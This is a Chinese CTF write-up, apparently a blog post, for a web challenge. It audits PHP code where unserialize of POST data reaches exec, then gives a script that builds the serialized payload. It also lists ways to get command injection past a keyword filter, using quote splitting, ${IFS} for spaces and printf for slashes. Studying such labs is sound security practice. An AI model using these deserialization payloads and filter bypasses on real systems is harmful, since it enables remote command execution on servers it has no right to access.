攻防世界-Web-unseping

知识点

1.php反序列化

2.命令执行绕过

步骤

打开网站,是php代码,审计。

php 复制代码
<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) { //初始化
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){ 
        if (in_array($this->method, array("ping"))) { //判断method是否存在ping
            call_user_func_array(array($this, $this->method), $this->args); //调用method,参数为args
        }
    } 
 
    function ping($ip){
        exec($ip, $result); //执行ip,结果为result,并输出
        var_dump($result);
    }

    function waf($str){ //过滤函数,过滤了,/,cat,flag等
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){ //调用waf,反序列化时调用
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

综上,post接受ctf数据,将method为ping,参数为要执行的命令,并绕过waf。

注意:这里的参数是数组,因为在__wakeup中foreach是k,v的形式。

1.基本反序列化代码

php 复制代码
<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$a = new ease('ping',array('ls')); 
$b = serialize($a);
echo($b);
echo(base64_encode($b));
?>

2.绕过ls

使用l""s或者l''s

3.绕过空格

使用${IFS}

4.绕过/

使用$(printf "\57")

flag{de2e33ce-fdfe-4132-87ba-3b97d641a9f7}

相关推荐
青岑CTF4 小时前
攻防世界-Php_rce-胎教版wp
开发语言·安全·web安全·网络安全·php
啥都想学点5 小时前
kali 基础介绍(Impact、Forensics)
安全·网络安全
极智-9966 小时前
GitHub 热榜项目-日榜精选(2026-02-03)| AI智能体、终端工具、RAG技术等 | claude-mem、99、termux-app等
人工智能·网络安全·github·ai智能体·llm应用·rag技术·torrent工具
乔江seven7 小时前
【python轻量级Web框架 Flask 】2 构建稳健 API:集成 MySQL 参数化查询与 DBUtils 连接池
前端·python·mysql·flask·web
曲幽10 小时前
FastAPI定时任务全攻略:从入门到避开多进程的坑
python·fastapi·web·async·sqlalchemy·lock·apscheduler·works
lingggggaaaa11 小时前
安全工具篇&魔改二开&CheckSum8算法&Beacon密钥&Stager流量&生成机制
学习·算法·安全·web安全·网络安全·免杀对抗
佟以冬11 小时前
Wireshark抓包基础
网络·测试工具·安全·网络安全·wireshark
小李独爱秋12 小时前
计算机网络经典问题透视:无线局域网名词中DCF和PCF的含义是什么?
网络协议·计算机网络·网络安全·信息与通信·dcf·pcf
世界尽头与你12 小时前
CVE-2017-5645_ Apache Log4j Server 反序列化命令执行漏洞
网络安全·渗透测试·log4j·apache
世界尽头与你13 小时前
CVE-2025-55752_ Apache Tomcat 安全漏洞
java·安全·网络安全·渗透测试·tomcat·apache